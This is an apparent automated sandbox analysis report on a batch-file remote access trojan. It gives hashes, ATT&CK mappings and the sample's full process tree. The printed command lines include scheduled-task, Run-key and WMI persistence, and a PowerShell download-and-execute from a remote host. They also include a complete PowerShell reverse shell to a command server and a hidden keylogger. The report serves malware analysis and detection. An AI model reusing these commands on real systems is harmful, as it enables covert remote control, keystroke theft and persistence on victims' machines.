6110d1794eba0737e05d7ea65cd392af32c43ba218dd408ab063f316d50de863

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:37

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General

Target
rat_build_16887_014138.bat
Size 4KB
Sample260529-b2bsvsgz3m
SHA256 6110d1794eba0737e05d7ea65cd392af32c43ba218dd408ab063f316d50de863
MD5 b8d1bb944e0f01b0a4b1a1c079fa4e09
SHA1 d35871ec497af020654ee7b872c80db7880f8777
SHA512 221c19da510ef1f55846b9c788d3d1995f8225876d9d4969d9a7e263d0c463b7c081362b1a3954996f521844696b092378125fb0573e9b6cc79f7003d1fd3a45
SSDEEP 96:9IPvWyuXDubSEMREAnGmCgskZgUWJvziUiFkCUCgLGQiFgZk8mvlo1xAf:9Pyuz51E2vRKiU1XCWiFgkHlKAf
TLSH
T141A10B2397977030C6B07628DA323D8457ECDAF71301D58EBAC98DC5164CE87A6695F3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_16887.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
748	powershell.exe
2552	powershell.exe
4688	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_16887 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_16887.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1916	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3128	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4684	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5016	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2552	powershell.exe
2552	powershell.exe
4688	powershell.exe
4688	powershell.exe
748	powershell.exe
748	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4544	WMIC.exe
Token: SeSecurityPrivilege	4544	WMIC.exe
Token: SeTakeOwnershipPrivilege	4544	WMIC.exe
Token: SeLoadDriverPrivilege	4544	WMIC.exe
Token: SeSystemProfilePrivilege	4544	WMIC.exe
Token: SeSystemtimePrivilege	4544	WMIC.exe
Token: SeProfSingleProcessPrivilege	4544	WMIC.exe
Token: SeIncBasePriorityPrivilege	4544	WMIC.exe
Token: SeCreatePagefilePrivilege	4544	WMIC.exe
Token: SeBackupPrivilege	4544	WMIC.exe
Token: SeRestorePrivilege	4544	WMIC.exe
Token: SeShutdownPrivilege	4544	WMIC.exe
Token: SeDebugPrivilege	4544	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4544	WMIC.exe
Token: SeRemoteShutdownPrivilege	4544	WMIC.exe
Token: SeUndockPrivilege	4544	WMIC.exe
Token: SeManageVolumePrivilege	4544	WMIC.exe
Token: 33	4544	WMIC.exe
Token: 34	4544	WMIC.exe
Token: 35	4544	WMIC.exe
Token: 36	4544	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4544	WMIC.exe
Token: SeSecurityPrivilege	4544	WMIC.exe
Token: SeTakeOwnershipPrivilege	4544	WMIC.exe
Token: SeLoadDriverPrivilege	4544	WMIC.exe
Token: SeSystemProfilePrivilege	4544	WMIC.exe
Token: SeSystemtimePrivilege	4544	WMIC.exe
Token: SeProfSingleProcessPrivilege	4544	WMIC.exe
Token: SeIncBasePriorityPrivilege	4544	WMIC.exe
Token: SeCreatePagefilePrivilege	4544	WMIC.exe
Token: SeBackupPrivilege	4544	WMIC.exe
Token: SeRestorePrivilege	4544	WMIC.exe
Token: SeShutdownPrivilege	4544	WMIC.exe
Token: SeDebugPrivilege	4544	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4544	WMIC.exe
Token: SeRemoteShutdownPrivilege	4544	WMIC.exe
Token: SeUndockPrivilege	4544	WMIC.exe
Token: SeManageVolumePrivilege	4544	WMIC.exe
Token: 33	4544	WMIC.exe
Token: 34	4544	WMIC.exe
Token: 35	4544	WMIC.exe
Token: 36	4544	WMIC.exe
Token: SeIncreaseQuotaPrivilege	608	WMIC.exe
Token: SeSecurityPrivilege	608	WMIC.exe
Token: SeTakeOwnershipPrivilege	608	WMIC.exe
Token: SeLoadDriverPrivilege	608	WMIC.exe
Token: SeSystemProfilePrivilege	608	WMIC.exe
Token: SeSystemtimePrivilege	608	WMIC.exe
Token: SeProfSingleProcessPrivilege	608	WMIC.exe
Token: SeIncBasePriorityPrivilege	608	WMIC.exe
Token: SeCreatePagefilePrivilege	608	WMIC.exe
Token: SeBackupPrivilege	608	WMIC.exe
Token: SeRestorePrivilege	608	WMIC.exe
Token: SeShutdownPrivilege	608	WMIC.exe
Token: SeDebugPrivilege	608	WMIC.exe
Token: SeSystemEnvironmentPrivilege	608	WMIC.exe
Token: SeRemoteShutdownPrivilege	608	WMIC.exe
Token: SeUndockPrivilege	608	WMIC.exe
Token: SeManageVolumePrivilege	608	WMIC.exe
Token: 33	608	WMIC.exe
Token: 34	608	WMIC.exe
Token: 35	608	WMIC.exe
Token: 36	608	WMIC.exe
Token: SeIncreaseQuotaPrivilege	608	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1344 wrote to memory of 5016	1344	cmd.exe	87
PID 1344 wrote to memory of 4684	1344	cmd.exe	88
PID 1344 wrote to memory of 4544	1344	cmd.exe	89
PID 1344 wrote to memory of 608	1344	cmd.exe	90
PID 1344 wrote to memory of 644	1344	cmd.exe	91
PID 1344 wrote to memory of 3128	1344	cmd.exe	96
PID 1344 wrote to memory of 1916	1344	cmd.exe	99
PID 1344 wrote to memory of 2552	1344	cmd.exe	100
PID 1344 wrote to memory of 4688	1344	cmd.exe	101
PID 1344 wrote to memory of 748	1344	cmd.exe	102

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_16887_014138.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1344
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_16887" /tr "C:\Users\Admin\AppData\Local\Temp\_16887.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5016
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_16887" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_16887.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4684
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_16887", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4544
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_16887", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_16887.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:608
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_16887.txt
  2⤵
  PID:644
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:3128
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_16887.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:748

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ff1e94a140c4f3962fee73bb7477650d5fa5d7b169406e8c63ae3a4815d1d284
MD5 d12e29b77af6d44fd3b70846e10f8f00
SHA1 fccef927ca610e45309c4532bdff63b33663350c
SHA512 99c412b6bd9f2a82dacc8df1dbb14460e1730fe861f70e4b5be8a9e1c05b9e8f63a6ff2835e38ec12a382a35db116b77b4bac997202e0a23b1856b6f3ee8e924
TLSH
T128117627F39CC921CC96153A409DAC1172B683DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0d5507fa72fa731e53374f15752bcd6204889a80174b7d61bbd2256e7caad424
MD5 214049bdc8d473528180bb22e9fa3ce8
SHA1 243a406d6918c60e2763c2205592ff01ea2f6419
SHA512 dceeb8a4a1ac2b9d195c5b6480d9de0543823ac20c8e1b0c7b3851a625ed0d321e41cfd106198701f9bfce08e75bcc249a226171af3b9bafa9983e168d14c332
TLSH
T187115727B39C89A1CC96163A409D9C1172B683DB409EDEDF6BC0D214E1BF584CB71190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_wzoj5imm.mx4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wzoj5imm.mx4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/748-33-0x000001D2215A0000-0x000001D2217BC000-memory.dmp

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memory/2552-8-0x0000011726C70000-0x0000011726C92000-memory.dmp

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memory/4688-23-0x0000025FEC570000-0x0000025FEC78C000-memory.dmp

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